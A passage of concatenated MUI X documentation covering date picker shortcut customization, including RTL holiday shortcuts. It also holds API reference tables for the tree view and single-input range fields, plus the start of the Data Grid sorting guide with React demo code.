          <ToggleButton value="set">set</ToggleButton>
        </ToggleButtonGroup>
        <DatePicker
          slotProps={{
            shortcuts: {
              items: shortcutsItems,
              changeImportance,
            },
          }}
        />
      </Stack>
    </LocalizationProvider>
  );
}

```

## Customization

Like other [layout subcomponents](/x/react-date-pickers/custom-layout/), the shortcuts can be customized.
Here is an example with horizontal shortcuts.

```tsx
import dayjs, { Dayjs } from 'dayjs';
import List from '@mui/material/List';
import ListItem from '@mui/material/ListItem';
import Chip from '@mui/material/Chip';
import Divider from '@mui/material/Divider';
import Box from '@mui/material/Box';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
import {
  PickersShortcutsItem,
  PickersShortcutsProps,
} from '@mui/x-date-pickers/PickersShortcuts';
import { DateRange } from '@mui/x-date-pickers-pro/models';
import { useIsValidValue, usePickerContext } from '@mui/x-date-pickers/hooks';

const shortcutsItems: PickersShortcutsItem<DateRange<Dayjs>>[] = [
  {
    label: 'This Week',
    getValue: () => {
      const today = dayjs();
      return [today.startOf('week'), today.endOf('week')];
    },
  },
  {
    label: 'Last Week',
    getValue: () => {
      const today = dayjs();
      const prevWeek = today.subtract(7, 'day');
      return [prevWeek.startOf('week'), prevWeek.endOf('week')];
    },
  },
  {
    label: 'Last 7 Days',
    getValue: () => {
      const today = dayjs();
      return [today.subtract(7, 'day'), today];
    },
  },
  {
    label: 'Current Month',
    getValue: () => {
      const today = dayjs();
      return [today.startOf('month'), today.endOf('month')];
    },
  },
  {
    label: 'Next Month',
    getValue: () => {
      const today = dayjs();
      const startOfNextMonth = today.endOf('month').add(1, 'day');
      return [startOfNextMonth, startOfNextMonth.endOf('month')];
    },
  },
  { label: 'Reset', getValue: () => [null, null] },
];

function CustomRangeShortcuts(props: PickersShortcutsProps<DateRange<Dayjs>>) {
  const { items, changeImportance = 'accept' } = props;
  const isValid = useIsValidValue<DateRange<Dayjs>>();
  const { setValue } = usePickerContext<DateRange<Dayjs>>();

  if (items == null || items.length === 0) {
    return null;
  }

  const resolvedItems = items.map((item) => {
    const newValue = item.getValue({ isValid });

    return {
      label: item.label,
      onClick: () => {
        setValue(newValue, { changeImportance, shortcut: item });
      },
      disabled: !isValid(newValue),
    };
  });

  return (
    <Box
      sx={{
        gridRow: 1,
        gridColumn: 2,
      }}
    >
      <List
        dense
        sx={(theme) => ({
          display: 'flex',
          px: theme.spacing(4),
          '& .MuiListItem-root': {
            pt: 0,
            pl: 0,
            pr: theme.spacing(1),
          },
        })}
      >
        {resolvedItems.map((item) => {
          return (
            <ListItem key={item.label}>
              <Chip {...item} />
            </ListItem>
          );
        })}
      </List>
      <Divider />
    </Box>
  );
}

export default function CustomizedRangeShortcuts() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDateRangePicker
        slots={{
          shortcuts: CustomRangeShortcuts,
        }}
        slotProps={{
          shortcuts: {
            items: shortcutsItems,
          },
          toolbar: {
            hidden: true,
          },
          actionBar: {
            hidden: true,
          },
        }}
        calendars={2}
      />
    </LocalizationProvider>
  );
}

```

## RTL example

Like other customizations, shortcuts also respect the RTL direction setting.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { prefixer } from 'stylis';
import rtlPlugin from '@mui/stylis-plugin-rtl';
import createCache from '@emotion/cache';
import { CacheProvider } from '@emotion/react';
import { ThemeProvider, createTheme, useTheme } from '@mui/material/styles';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickersShortcutsItem } from '@mui/x-date-pickers/PickersShortcuts';
import type {} from '@mui/x-date-pickers/themeAugmentation';

// Create rtl cache
const cacheRtl = createCache({
  key: 'picker-shortcuts-rtl-demo',
  stylisPlugins: [prefixer, rtlPlugin],
});

const getMonthWeekday = (
  monthIndex: number,
  weekdayIndex: number,
  dayRank: number,
) => {
  // Helper to find the nth weekday in a given month.
  // For example, Find the 3rd Monday in January.
  const today = dayjs();
  const firstDayOfMonth = today.month(monthIndex).startOf('month');
  const weekDay = firstDayOfMonth.day(); // 0 (Sunday) to 6 (Saturday)

  const deltaToFirstValidWeekDayInMonth =
    (weekDay > weekdayIndex ? 7 : 0) + weekdayIndex - weekDay;
  return firstDayOfMonth.add(
    (dayRank - 1) * 7 + deltaToFirstValidWeekDayInMonth,
    'day',
  );
};

const shortcutsItems: PickersShortcutsItem<Dayjs | null>[] = [
  {
    label: "New Year's Day",
    getValue: () => {
      // (January 1)
      const today = dayjs();
      return today.month(0).date(1);
    },
  },
  {
    label: 'Birthday of MLK Jr.',
    getValue: () => {
      // (third Monday in January)
      return getMonthWeekday(0, 1, 3);
    },
  },
  {
    label: 'Independence Day',
    getValue: () => {
      // (July 4)
      const today = dayjs();
      return today.month(6).date(4);
    },
  },
  {
    label: 'Labor Day',
    getValue: () => {
      // (first Monday in September)
      return getMonthWeekday(8, 1, 1);
    },
  },
  {
    label: 'Thanksgiving Day',
    getValue: () => {
      // (fourth Thursday in November)
      return getMonthWeekday(10, 4, 4);
    },
  },
  {
    label: 'Christmas Day',
    getValue: () => {
      // (December 25)
      const today = dayjs();
      return today.month(11).date(25);
    },
  },
];

export default function RTLShortcuts() {
  // Inherit the theme from the docs site (dark/light mode)
  const existingTheme = useTheme();

  const theme = React.useMemo(
    () =>
      createTheme({}, existingTheme, {
        direction: 'rtl',
      }),
    [existingTheme],
  );
  return (
    <CacheProvider value={cacheRtl}>
      <ThemeProvider theme={theme}>
        <div dir="rtl">
          <LocalizationProvider dateAdapter={AdapterDayjs}>
            <StaticDatePicker slotProps={{ shortcuts: { items: shortcutsItems } }} />
          </LocalizationProvider>
        </div>
      </ThemeProvider>
    </CacheProvider>
  );
}

```

---

# Source: https://mui.com/x/api/tree-view/simple-tree-view.md

# SimpleTreeView API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Tree View - Quickstart](/x/react-tree-view/quickstart/)
- [Simple Tree View - Customization](/x/react-tree-view/simple-tree-view/customization/)
- [Simple Tree View - Expansion](/x/react-tree-view/simple-tree-view/expansion/)
- [Simple Tree View - Focus](/x/react-tree-view/simple-tree-view/focus/)
- [Simple Tree View - Items](/x/react-tree-view/simple-tree-view/items/)
- [Simple Tree View - Selection](/x/react-tree-view/simple-tree-view/selection/)
- [Tree Item customization](/x/react-tree-view/tree-item-customization/)

## Import

```jsx
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
// or
import { SimpleTreeView } from '@mui/x-tree-view';
// or
import { SimpleTreeView } from '@mui/x-tree-view-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| apiRef | `{ current?: { focusItem?: func, getItem?: func, getItemDOMElement?: func, getItemOrderedChildrenIds?: func, getItemTree?: func, getParentId?: func, isItemExpanded?: func, setIsItemDisabled?: func, setItemExpansion?: func, setItemSelection?: func } }` | - | No |  |
| checkboxSelection | `bool` | `false` | No |  |
| children | `node` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| defaultExpandedItems | `Array<string>` | `[]` | No |  |
| defaultSelectedItems | `any` | `[]` | No |  |
| disabledItemsFocusable | `bool` | `false` | No |  |
| disableSelection | `bool` | `false` | No |  |
| expandedItems | `Array<string>` | - | No |  |
| expansionTrigger | `'content' \| 'iconContainer'` | `'content'` | No |  |
| id | `string` | - | No |  |
| itemChildrenIndentation | `number \| string` | `12px` | No |  |
| multiSelect | `bool` | `false` | No |  |
| onExpandedItemsChange | `function(event: React.SyntheticEvent, itemIds: Array<TreeViewItemId>) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent, itemId: TreeViewItemId) => void` | - | No |  |
| onItemExpansionToggle | `function(event: React.SyntheticEvent \| null, itemId: TreeViewItemId, isExpanded: boolean) => void` | - | No |  |
| onItemFocus | `function(event: React.SyntheticEvent \| null, itemId: TreeViewItemId) => void` | - | No |  |
| onItemSelectionToggle | `function(event: React.SyntheticEvent, itemId: TreeViewItemId, isSelected: boolean) => void` | - | No |  |
| onSelectedItemsChange | `function(event: React.SyntheticEvent, itemIds: Array<TreeViewItemId> \| TreeViewItemId) => void` | - | No |  |
| selectedItems | `any` | - | No |  |
| selectionPropagation | `{ descendants?: bool, parents?: bool }` | `{ parents: false, descendants: false }` | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (HTMLUListElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiSimpleTreeView` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `SimpleTreeViewRoot` | `.MuiSimpleTreeView-root` | Element rendered at the root. |
| collapseIcon | `undefined` | - | The default icon used to collapse the item. |
| expandIcon | `undefined` | - | The default icon used to expand the item. |
| endIcon | `undefined` | - | The default icon displayed next to an end item.
This is applied to all Tree Items and can be overridden by the TreeItem `icon` slot prop. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | item | Styles applied to the item's root element. |
| - | itemCheckbox | Styles applied to the item's checkbox element. |
| - | itemContent | Styles applied to the item's content element. |
| - | itemGroupTransition | Styles applied to the item's transition element. |
| - | itemIconContainer | Styles applied to the item's icon container element icon. |
| - | itemLabel | Styles applied to the item's label element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-tree-view/src/SimpleTreeView/SimpleTreeView.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-tree-view/src/SimpleTreeView/SimpleTreeView.tsx)

---

# Source: https://mui.com/x/api/date-pickers/single-input-date-range-field.md

# SingleInputDateRangeField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Range Field
- [Fields component](/x/react-date-pickers/fields/)

## Import

```jsx
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
// or
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | `false` | No |  |
| clearable | `bool` | `false` | No |  |
| clearButtonPosition | `'end' \| 'start'` | `'end'` | No |  |
| color | `'error' \| 'info' \| 'primary' \| 'secondary' \| 'success' \| 'warning'` | `'primary'` | No |  |
| dateSeparator | `string` | `"–"` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| focused | `bool` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| FormHelperTextProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.formHelperText` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| fullWidth | `bool` | `false` | No |  |
| helperText | `node` | - | No |  |
| hiddenLabel | `bool` | `false` | No |  |
| id | `string` | - | No |  |
| InputLabelProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.inputLabel` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| inputProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.htmlInput` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| InputProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.input` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| margin | `'dense' \| 'none' \| 'normal'` | `'none'` | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| name | `string` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClear | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date using the validation props, except callbacks such as `shouldDisableDate`. Value is rounded to the most granular section used.` | No |  |
| required | `bool` | `false` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| shouldRespectLeadingZeros | `bool` | `false` | No |  |
| size | `'medium' \| 'small'` | `'medium'` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| unstableFieldRef | `func \| object` | - | No |  |
| value | `Array<object>` | - | No |  |
| variant | `'filled' \| 'outlined' \| 'standard'` | `'outlined'` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiSingleInputDateRangeField` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/SingleInputDateRangeField/SingleInputDateRangeField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/SingleInputDateRangeField/SingleInputDateRangeField.tsx)

---

# Source: https://mui.com/x/api/date-pickers/single-input-date-time-range-field.md

# SingleInputDateTimeRangeField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Time Range Field
- [Fields component](/x/react-date-pickers/fields/)

## Import

```jsx
import { SingleInputDateTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputDateTimeRangeField';
// or
import { SingleInputDateTimeRangeField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | `false` | No |  |
| clearable | `bool` | `false` | No |  |
| clearButtonPosition | `'end' \| 'start'` | `'end'` | No |  |
| color | `'error' \| 'info' \| 'primary' \| 'secondary' \| 'success' \| 'warning'` | `'primary'` | No |  |
| dateSeparator | `string` | `"–"` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| focused | `bool` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| FormHelperTextProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.formHelperText` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| fullWidth | `bool` | `false` | No |  |
| helperText | `node` | - | No |  |
| hiddenLabel | `bool` | `false` | No |  |
| id | `string` | - | No |  |
| InputLabelProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.inputLabel` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| inputProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.htmlInput` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| InputProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.input` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| margin | `'dense' \| 'none' \| 'normal'` | `'none'` | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClear | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date using the validation props, except callbacks such as `shouldDisableDate`. Value is rounded to the most granular section used.` | No |  |
| required | `bool` | `false` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldRespectLeadingZeros | `bool` | `false` | No |  |
| size | `'medium' \| 'small'` | `'medium'` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| unstableFieldRef | `func \| object` | - | No |  |
| value | `Array<object>` | - | No |  |
| variant | `'filled' \| 'outlined' \| 'standard'` | `'outlined'` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiSingleInputDateTimeRangeField` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/SingleInputDateTimeRangeField/SingleInputDateTimeRangeField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/SingleInputDateTimeRangeField/SingleInputDateTimeRangeField.tsx)

---

# Source: https://mui.com/x/api/date-pickers/single-input-time-range-field.md

# SingleInputTimeRangeField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Fields component](/x/react-date-pickers/fields/)
- Time Range Field

## Import

```jsx
import { SingleInputTimeRangeField } from '@mui/x-date-pickers-pro/SingleInputTimeRangeField';
// or
import { SingleInputTimeRangeField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | `false` | No |  |
| clearable | `bool` | `false` | No |  |
| clearButtonPosition | `'end' \| 'start'` | `'end'` | No |  |
| color | `'error' \| 'info' \| 'primary' \| 'secondary' \| 'success' \| 'warning'` | `'primary'` | No |  |
| dateSeparator | `string` | `"–"` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| focused | `bool` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| FormHelperTextProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.formHelperText` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| fullWidth | `bool` | `false` | No |  |
| helperText | `node` | - | No |  |
| hiddenLabel | `bool` | `false` | No |  |
| id | `string` | - | No |  |
| InputLabelProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.inputLabel` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| inputProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.htmlInput` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| InputProps (deprecated) | `object` | - | No | ⚠️ Use `slotProps.input` instead. This prop will be removed in a future major release. See [Migrating from deprecated APIs](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) for more details. |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| margin | `'dense' \| 'none' \| 'normal'` | `'none'` | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClear | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date using the validation props, except callbacks such as `shouldDisableDate`. Value is rounded to the most granular section used.` | No |  |
| required | `bool` | `false` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldRespectLeadingZeros | `bool` | `false` | No |  |
| size | `'medium' \| 'small'` | `'medium'` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| unstableFieldRef | `func \| object` | - | No |  |
| value | `Array<object>` | - | No |  |
| variant | `'filled' \| 'outlined' \| 'standard'` | `'outlined'` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiSingleInputTimeRangeField` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/SingleInputTimeRangeField/SingleInputTimeRangeField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/SingleInputTimeRangeField/SingleInputTimeRangeField.tsx)

---

# Source: https://mui.com/x/react-data-grid/sorting.md

# Data Grid - Sorting

Easily sort your rows based on one or several criteria.

Sorting is enabled by default to the Data Grid users and works out of the box without any explicit configuration.
Users can set a sorting rule simply by clicking on a column header.
Following clicks change the column's sorting direction. You can see the applied direction on the header's arrow indicator.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function BasicExampleDataGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} loading={loading} />
    </div>
  );
}

```

## Single and multi-sorting

:::warning
The Data Grid can only sort the rows according to one criterion at a time.

To use multi-sorting, you need to upgrade to [Pro plan](/x/introduction/licensing/#pro-plan) or above.
:::

## Multi-sorting [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The following demo lets you sort the rows according to several criteria at the same time.

By default, users need to hold down the <kbd class="key">Ctrl</kbd> or <kbd class="key">Shift</kbd> (use <kbd class="key">⌘ Command</kbd> on macOS) key while clicking the column header.

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function BasicExampleDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro {...data} loading={loading} />
    </div>
  );
}

```

You can also enable multi-sorting without modifier keys by setting the `multipleColumnsSortingMode` prop to `"always"`.
This lets users click on multiple column headers to add them as sorting criteria without needing to hold down modifier keys.

```tsx
import { DataGridPro, DataGridProProps } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

const initialState: DataGridProProps['initialState'] = {
  sorting: {
    sortModel: [
      { field: 'rating', sort: 'desc' },
      { field: 'name', sort: 'asc' },
    ],
  },
};

export default function MultiSortingWithoutModifier() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        initialState={initialState}
        multipleColumnsSortingMode="always"
      />
    </div>
  );
}

```

## Pass sorting rules to the Data Grid

### Structure of the model

The sort model is a list of sorting items.
Each item represents a sorting rule and is composed of several elements:

- `sortingItem.field`: the field on which the rule applies.
- `sortingItem.sort`: the direction of the sorting (`'asc'`, `'desc'`, `null` or `undefined`). If `null` or `undefined`, the rule doesn't apply.

### Initialize the sort model

Sorting is enabled by default to the user.
But if you want to set an initial sorting order, simply provide the model to the `initialState` prop.

```jsx
<DataGrid
  initialState={{
    sorting: {
      sortModel: [{ field: 'rating', sort: 'desc' }],
    },
  }}
/>
```

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function InitialSort() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          sorting: {
            ...data.initialState?.sorting,
            sortModel: [
              {
                field: 'rating',
                sort: 'desc',
              },
            ],
          },
        }}
      />
    </div>
  );
}

```

### Controlled sort model

Use the `sortModel` prop to control the state of the sorting rules.

You can use the `onSortModelChange` prop to listen to changes in the sorting rules and update the prop accordingly.

```tsx
import * as React from 'react';
import { DataGrid, GridSortModel } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function ControlledSort() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const [sortModel, setSortModel] = React.useState<GridSortModel>([
    {
      field: 'rating',
      sort: 'desc',
    },
  ]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        sortModel={sortModel}
        onSortModelChange={(newSortModel) => setSortModel(newSortModel)}
      />
    </div>
  );
}

```

## Disable the sorting

### For all columns

Sorting is enabled by default, but you can easily disable this feature by setting the `disableColumnSorting` prop.

```jsx
<DataGrid disableColumnSorting />
```

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function DisableSortingGridAllColumns() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} loading={loading} disableColumnSorting />
    </div>
  );
}

```

### For some columns

By default, all columns are sortable.
To disable sorting on a column, set the `sortable` property of `GridColDef` to `false`.
In the following demo, the user cannot sort the _rating_ column from the UI.

```tsx
<DataGrid columns={[...columns, { field: 'rating', sortable: false }]} />
```

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function DisableSortingGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const columns = React.useMemo(
    () =>
      data.columns.map((col) =>
        col.field === 'rating' ? { ...col, sortable: false } : col,
      ),
    [data.columns],
  );
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} loading={loading} columns={columns} />
    </div>
  );
}

```

### Sorting non-sortable columns programmatically

The columns with `colDef.sortable` set to `false` are not sortable from the grid UI but could still be sorted programmatically. To add a sort rule to such a column, you could initialize the `sortModel`, use the `sortModel` prop, or use the API methods `sortColumn` or `setSortModel`.

In the following demo, the `firstName` column is not sortable by the default grid UI, but it is sorted programmatically by a custom built UI.

```tsx
import {
  DataGrid,
  GridColDef,
  Toolbar,
  ToolbarButton,
  useGridApiContext,
} from '@mui/x-data-grid';
import Button from '@mui/material/Button';

const columns: GridColDef[] = [
